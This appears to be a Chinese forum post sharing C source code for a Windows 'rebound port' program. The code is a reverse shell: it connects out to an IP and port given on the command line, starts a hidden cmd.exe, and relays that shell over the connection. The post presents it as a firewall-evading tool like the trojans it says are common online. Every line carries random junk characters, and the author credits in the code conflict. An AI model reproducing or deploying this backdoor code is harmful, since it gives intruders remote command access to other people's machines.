这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 bq/Aopfr
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/* ============================== kmC@\xTp
Rebound port in Windows NT &=lc]sk
By wind,2006/7 @&\Y:aRO%i
===============================*/ 7d;|?R-8D
#include h'*v$lt
#include ]}3s/NJi
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#pragma comment(lib,"wsock32.lib") C|ZPnm>f30
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void OutputShell(); 9q"kM
SOCKET sClient; f~VlCdf+
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ` aVp#
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void main(int argc,char **argv) ?i _ACKpw
{ GD4S/fn3
WSADATA stWsaData; 9xR5Jm>k
int nRet; :a }](Wn
SOCKADDR_IN stSaiClient,stSaiServer; (%6fMVp
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if(argc != 3) '|[!I!WB`
{ zj7ta[<tr
printf("Useage:\n\rRebound DestIP DestPort\n"); uSfHlN4l
return; G4(R/<J,BQ
} @j\:K<sk
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WSAStartup(MAKEWORD(2,2),&stWsaData); 0:V/z3?
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B%tF|KKj
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stSaiClient.sin_family = AF_INET; hhU_kI
stSaiClient.sin_port = htons(0); 4Fg2/O_3
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |Y
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @1*^ttC
{ *D|a`R!Y
printf("Bind Socket Failed!\n"); M`Q$-#E:
return; sT?{
} ei5YxV6I
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stSaiServer.sin_family = AF_INET; .lcp5D[(
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .I^4Fc}&4
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Qj^Uz+b
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) c!\Gj|
{ <H^jbK
printf("Connect Error!"); {4S UGo>
return; ek&~A0k_o
} BdD]HXB|_
OutputShell(); s*PKr6X+
} M86"J:\u]
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void OutputShell() QATRrIj{e
{ 5M>h[Q"R
char szBuff[1024]; RiTL(Yx
SECURITY_ATTRIBUTES stSecurityAttributes; @\?HlGWEf
OSVERSIONINFO stOsversionInfo; Z1,rN#p9
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; EGl<oxL*R2
STARTUPINFO stStartupInfo; We y*\@
char *szShell; }R;}d(C`
PROCESS_INFORMATION stProcessInformation; Ae7FtJO
unsigned long lBytesRead; oL]uY5eZoe
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); H8YwMhE7
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |Z>-<]p9g
stSecurityAttributes.lpSecurityDescriptor = 0; @@H/q
stSecurityAttributes.bInheritHandle = TRUE; b|_e):V|
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _WNbuk0
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $2W#'_K+
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5$ik|e^:y
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B=O zP+
stStartupInfo.wShowWindow = SW_HIDE; $R'?OK(`
stStartupInfo.hStdInput = hReadPipe; A
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; N'y<<tTA
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GetVersionEx(&stOsversionInfo); )M<+?R$];
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switch(stOsversionInfo.dwPlatformId) Il&FC
{ =bh: U90y
case 1: Y%/RGYKh
szShell = "command.com"; L--
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break; C
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default: 6-\Mf:%B
szShell = "cmd.exe"; z9
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break; mo<*h&;&
} $Z;8@O3
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); g#i~^4-1
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send(sClient,szMsg,77,0); "iEnsP@'Wg
while(1) xp1/@Pw?
{ jUE:QOfRib
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); S$SCW<LuN
if(lBytesRead) 2W0nA t
{ HIw)HYF2
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @N '_qu
send(sClient,szBuff,lBytesRead,0); I._ A
} jS]Saqd
else ~Q=;L>Qd
{ 5@l5exuG*m
lBytesRead=recv(sClient,szBuff,1024,0); wDi/oH/H
if(lBytesRead<=0) break; ,]\cf
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =xkaF)AW&v
} 8L:AmpQdpA
} `<>#;%
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return; (!@gm)#h
}